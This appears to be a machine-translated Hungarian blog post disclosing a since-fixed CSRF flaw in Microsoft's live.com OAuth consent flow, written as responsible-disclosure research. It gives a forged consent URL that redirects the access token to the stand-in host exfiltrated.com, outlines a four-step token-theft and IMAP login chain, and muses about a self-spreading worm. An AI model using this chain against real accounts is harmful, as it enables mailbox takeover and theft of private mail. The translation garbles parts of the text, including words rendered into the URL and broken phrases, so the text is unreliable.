a Synack-nél nagyon élvezzük a nagy sebezhetőségeket, akár webes, mobil, host vagy akár teljesen felháborító eszközökben és rendszerekben (műholdas hackelés bárki?). De mindig bizalmasan kezeljük azokat a nagyszerű eredményeket, amelyeket mi és az SRT ügyfeleink számára tettünk. Tehát bár ez nem egy nagyszerű vulnról szóló bejegyzés lesz a Synack ügyfélben, pontosan azt a dolgot fedi le, amelyet hetente vagy néha naponta látunk: egy olyan sebezhetőség egy több millió felhasználóval rendelkező rendszerben, amely a rendszer biztonságának teljes kompromisszumához vezet.

nemrég találtam egy biztonsági rést a Microsoft Live.com hitelesítési rendszer, amely, ha van fiókja bármely Microsoft szolgáltatással, valószínűleg érintette volna Önt. Ez a bejegyzés a biztonsági rés teljes részleteit ismerteti, miután a Microsoft javította a problémát.

Bevezetés

az átlagember megértése számítógépes biztonság mindig is meglehetősen korlátozott. A régi időkben, ha valaki meghallotta, hogy számítógépes biztonsággal foglalkozik, a szokásos kérdés a következő lenne: “meg tudod csapni a Hotmailemet”, vagy gyakrabban: “meg tudod csapni a barátom Hotmailjét”. Feltételezem, hogy a nap folyamán az emberek még mindig használták a Yahoo mail-t, a Microsoftnak pedig még nem kellett megszereznie a Hotmail-t, de ez egy kicsit túl messze van! Elkerülhetetlenül azt javasolja, hogy az illető csak kitalálja a személy jelszó-visszaállítási kérdéseit, vagy telepítse a Sub7-et. Valójában a Hotmail feltörése túl nehéz volt, nem is beszélve teljesen illegálisról.

az információbiztonsági világ sokat változott az elmúlt néhány évben, és az elmúlt évekkel ellentétben a Microsoft most teljes mértékben arra ösztönzi a biztonsági kutatókat, hogy próbálják meg “feltörni a Hotmailt”. Természetesen a Hotmail Outlook lett.val vel, és manapság mindenki azt akarja tudni, hogy feltörheti-e a Facebook-ot, de ez a lényeg.

a Microsoft Online Services bounty programot nemrégiben frissítették, hogy a “Microsoft Account” – ot is tartalmazza célként, amely alapvetően az ezen tartományok mindegyikén tárolt bejelentkezési rendszerek:
– login.windows.net
– login.microsoftonline.com
– login.live.com

a fenti listában, login.live.com az a hitelesítési rendszer, amelyen keresztül fog menni, ha megpróbálja hitelesíteni Outlook.com és rengeteg más Microsoft szolgáltatás. Úgy döntöttem, hogy először megvizsgálom, hátha felfedezhetek bármilyen problémát. Ahogy az várható volt, a bejelentkezés feldolgozásához használt különféle API-k jól megkeményedtek. A védelem további rétegei sok helyen léteztek; például egyes helyeken a jelszavakat az átvitel előtt nyilvános kulccsal titkosítják, annak ellenére, hogy minden kommunikáció HTTPS-en keresztül zajlik.

néhány órás tesztelés után felfedeztem néhány kisebb problémát, amelyekről beszámoltam, de semmi igazán figyelemre méltó. A webes alkalmazások tesztelésekor gyakran azt tapasztalom, hogy a leggyakoribb munkafolyamat a legbiztonságosabb is, ezért elágaztam, hogy megvizsgáljam azokat a módszereket, amelyekkel a felhasználó hitelesítheti a live.com rendszer. Majdnem egy évvel ezelőtt több OAuth sebezhetőséget találtam a Yammerben, amely szintén a Microsoft Online Services bounty célpontja volt, tehát itt kerestem a következőt live.com. itt kezdődnek az érdekes eredmények!

biztonsági rés háttere

mielőtt rátérnék a felfedezett biztonsági résre, gyors áttekintés szükséges az OAuth néven ismert félrevezetett biztonsági rendszerről:

a Wikipedia azt mondja nekem, hogy “az OAuth”biztonságos, delegált hozzáférést biztosít az ügyfélalkalmazásoknak a szerver erőforrásaihoz az erőforrás tulajdonosa nevében”. A Wikipédiának is van néhány éles megjegyzése a fejlődéséről és biztonságáról, amelyeket érdemes elolvasni egy jó nevetésért. Reálisan, az OAuth csak annyit tesz, hogy lehetővé teszi a felhasználó számára, hogy hozzáférést biztosítson fiókja egy részéhez vagy egészéhez egy harmadik fél számára. Készítettem egy MS Paint rajzot ennek illusztrálására, mert nem találtam nagyszerűt a Wikipédián.

amint az a fenti képen látható, van egy szervere, aki a felhasználó jogosult arra, hogy hozzáférést biztosítson fiókjához egy Ügyfélalkalmazáshoz. A mechanizmus, amely ezt a színfalak mögött kezeli, többféle módon felépíthető, amelyeket az OAuth RFC határoz meg. Ennek egyik módja az “implicit” hitelesítési folyamat, amely magában foglalja a hitelesítési kiszolgálót, amely hozzáférési kulcsot ad közvetlenül az ügyfélnek. Egy másik népszerű módszer az “engedélyezési kód” eljárás használata, ahol a hitelesítési kiszolgáló kiad egy engedélyezési kódot, amelyet az ügyfélrendszer vesz, majd az ügyfél titkos értékének felhasználásával kicserél egy hozzáférési kulcsot. A Microsoftnak jó leírása van arról, hogy miként hajtották végre ezeket a mechanizmusokat live.com itt:
https://msdn.microsoft.com/en-us/library/hh243647.aspx

az “engedélyezési kód” folyamathoz készített grafika így néz ki:

egy ilyen kép nagyszerű a folyamat megértéséhez, de számomra, mint toll-tesztelő, sok lehetőséget és helyet mutat a dolgok rosszra fordulására. Tehát, hogy a háttérben, a mi fedezték fel!

Mi Baj Lehet?

amint azt a fenti szakaszban megjegyeztük, sok olyan hely van, ahol valami rosszul fordulhat elő. Az OAuth hitelesítési eljárás egyik alapvető lépése, hogy a felhasználó úgy dönt, hogy hozzáférést biztosít egy alkalmazáshoz. Ez általában egy ilyen prompton keresztül valósul meg:

általában a felhasználónak csak egyszer kell elfogadnia ezt a felszólítást, de amíg el nem fogadja, az alkalmazásnak nem lesz hozzáférése a fiókjához (az, hogy az átlagos felhasználó engedélyezi-e Wes gonosz alkalmazásának hozzáférését, talán más kérdés!).

támadóként gondolkodva mindenképpen nagyszerű lenne, ha elfogadnánk a kérést a felhasználó nevében. Sajnos számomra az ” X-Frame-Options “fejléc” deny ” -re lett állítva (az x-frame-options beállításai szintén nem voltak érvényesek erre a fejpénzre). Tehát amíg a clickjacking ki van kapcsolva, úgy döntöttem, hogy jobban megértem, hogyan működött maga a kérés. Ha a felhasználó az “Igen” gombra kattint ,a következő kérés kerül elküldésre a szerverre (plusz néhány unalmas fejléc):

míg a fenti URL-útvonal tartalmaz néhány generált tokent, a tesztelés azt mutatta, hogy ezek nem szükségesek a kérés sikeréhez. A következő URL-re való bejegyzés ugyanolyan jól működne:

https://account.live.com/Consent/Update?ru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d000000004C15E107% 26scope%3dwl.alap%26response_type%3dcode%26redirect_uri%3Dhttp:// exfiltrated.com&client_id=000000004C15E107& rd=exfiltrált.com& scope=wl.basic

a kéréssel elküldött süti, amely egy érvényes munkamenet-tokent tartalmaz az “IPT” – ben. Ezt a cookie-értéket byhttps://login.live.com/oauth20_authorize.srf tölti ki, mielőtt megjelenik a felhasználót engedélyt kérő oldal. Ez attól függetlenül történik, hogy a felhasználó végül rákattint-e az “Igen” gombra, bár ezt valamilyen Javascript-kód állítja be, tehát ha megtámadjuk ezt a folyamatot, akkor valamikor rá kell kényszerítenünk a felhasználót az oldal betöltésére.

ha végigköveted, remélhetőleg most azt kérdezed: “rendben, mi a helyzet magával a postai kéréssel és azzal a Kanári értékkel?”. Először megvizsgáltam az összes többi paramétert és kommunikációs folyamatot, mivel a “canary” feliratú érték POST-kéréssel történő elküldése szinte biztosan azt jelenti, hogy tokenként használják a CSRF támadások megelőzésére. A biztonsági tesztelés lényege azonban annak ellenőrzése, hogy a feltételezések valóban helyesek-e. Ezért módosítottam a POST kérést, és megváltoztattam a canary értéket”hacks_go_here” – re. Az 500-as hiba átirányítása helyett a szerver pozitív választ küldött vissza!

CSRF to PoC

mivel a CSRF token volt az utolsó dolog, amit megpróbáltam manipulálni, biztosan tudtam, hogy ez érvényes CSRF sebezhetőséget jelent. Mint szinte minden CSRF támadásnál, az egyetlen előfeltétel az volt, hogy az áldozat be legyen jelentkezve, és érvényes munkamenet-token legyen a sütijében. Sok más webes biztonsági réstől eltérően a CSRF biztonsági rés hatása teljes mértékben az érintett API függvénytől függ. Ez a CSRF lehetővé teszi, hogy megkerüljem az OAuth hitelesítési rendszer felhasználói interakciós lépését, de a PoC ezer szót ér, tehát a következő lépés egy kód felépítése volt a biztonsági rés hatásának megfelelő bemutatására.

a normál OAuth hitelesítési folyamatban, miután a felhasználó hozzáférést biztosít, a kiszolgálónak vissza kell adnia egy hozzáférési kódot a felhasználónak. A felhasználó átadja ezt az ügyfélalkalmazásnak, amely ezután felhasználhatja a megadott engedélyeket. A live.com az ügyfélalkalmazás a lehetséges engedélyek széles skáláját kérheti. Úgy gondoltam, hogy csak a felhasználó kapcsolatait dobom el, vagy valami ilyesmi, de miért áldoznék most a Hotmail hackelésének céljával? A PoC-hoz szükséges engedélyek a következők voltak:

wl.offline_access + wl.imap

Offline nem volt annyira szükséges, de bedobtam, hogy megmutassam, hogy megadják.

a kiválasztott szükséges engedélyekkel 4 lépés van a felhasználó e-mail fiókjához való hozzáféréshez:

1) engedélyezési kérelmet kell benyújtanunk kliens alkalmazásunkhoz a fenti engedélyek felhasználásával. A szerver felszólítja a felhasználót, hogy fogadja el vagy utasítsa el.
2) Amikor a felhasználó elfogadja az engedélyekre vonatkozó kérelmünket, a szerver hozzáfűz egy “#access_token=<token>” paramétert az átirányításhoz, amelyet utasítunk.
3) mivel a szerver oldali parancsfájljainknak hozzáférniük kell ehhez az értékhez, egy egyszerű oldalt kell készítenünk, hogy kivegyük a tokent a böngésző URL mezőjéből, és átadjuk a szerverünknek.
4) Végül szükségünk van néhány script szerver oldalon, hogy a token, és használja, hogy jelentkezzen be az IMAP. A Microsoftnak kissé bonyolult folyamata van az OAuth token használatához, hogy közvetlenül az IMAP-on keresztül jelentkezzen be. Néhány minta könyvtárak léteznek erre, és az egész folyamat leírása ezen az oldalon:
https://msdn.microsoft.com/en-us/library/dn440163.aspx

ez a munkafolyamat jól működne, feltételezve, hogy a felhasználó úgy dönt, hogy engedélyt ad nekünk. Most csak módosítanom kell a munkafolyamatot, hogy ehelyett a CSRF-et tartalmazzam. Mint korábban említettük, a live.com a hitelesítési szerver egy munkamenet-tokent vár az IPT cookie-ban. Ezt úgy tudjuk biztosítani, hogy először elküldjük a felhasználót egy validhttps://login.live.com/oauth20_authorize.srf oldalra. Közvetlenül ezután végrehajthatjuk a CSRF kérést, amely felhasználja az újonnan kitöltött cookie-értéket. Ez most helyettesítheti az 1. lépést, és arra kényszerítheti a szervert, hogy azonnal ugorjon a 2.lépésre.

Demo and Impact

a Microsoft most megoldotta ezt a problémát, de itt van egy gyors videó, amely működés közben mutatja be.

mint látható a videó, minden, ami igazán szükséges, hogy az áldozat, hogy látogassa meg a rosszindulatú weboldal. A demót nem úgy tervezték, hogy alattomos legyen, és egy weboldal hátterében futjon, vagy valamilyen rosszindulatú banner hirdetés részeként, de minden bizonnyal így is lehetett volna.

ennek célzott támadásként való használata határozottan nagy hatással van, de ez a tökéletes típusú sebezhetőség is, hogy féreggé váljon. Az IMAP és a contact book access segítségével a féreg könnyen elküldheti az összes felhasználó névjegyét (vagy legalábbis azokat, akik a Hotmailt használják, Outlook.com, stb), valami csábító, “ILOVEYOU” vírus stílus, és elterjedt, hogy minden felhasználó, aki rákattint a linkre.

végső gondolatok és idővonal

a sebezhetőség vadászata és egy működő PoC létrehozása tisztességes erőfeszítést igényelt a különböző live.com API-k. Visszatekintve az egészet azonban, ez tényleg csak egy klasszikus CSRF sebezhetőség. Az egyetlen dolog, ami meglepő benne, hogy ez egy kritikus hitelesítési rendszer, amely végső soron lehet használni, hogy átvegye a felhasználói fiók.

mint egy külső tesztelő fogalmam sincs, hogy mennyi ideig ez a biztonsági rés létezhetett, vagy ha valaki valaha is megpróbálta kihasználni azt. Ugyanakkor az ilyen megállapítások határozottan megmutatják annak értékét, hogy lehetővé teszik a külső tesztelők számára, hogy sebezhetőségeket nyújtsanak be a vállalatának, mielőtt a támadók felhasználnák őket ellened. A Microsoft messze megelőzi a legtöbb vállalatot, amikor a biztonságról van szó, és még mindig suceptible kérdések, mint ez. A Synack tapasztalata az volt, hogy a sebezhetőségeket még a látszólag jól védett rendszerekben is feltárják, amikor külső kutatók nagy csoportja teszteli ezt a rendszert. Ez lényegében az a feltevés, hogy a Synack működik, ezért egyre több vállalat kínál saját bounty programokat (természetesen a Synack programját ajánlanám a saját futtatása helyett!).

amint az az alábbi idővonalon látható, a Microsoft reagált arra, hogy kijavítsa ezt a problémát, ami nagyszerű volt látni.

Timeline:
augusztus 23, 2015: biztonsági rés felfedezett
augusztus 25, 2015: biztonsági rés jelentett a Microsoft
augusztus 31, 2015: A Microsoft issues esetszám biztonsági rés
szeptember 15, 2015: A Microsoft kiadások fix a kérdés, kérdések $24,000 bounty (double bounties promo)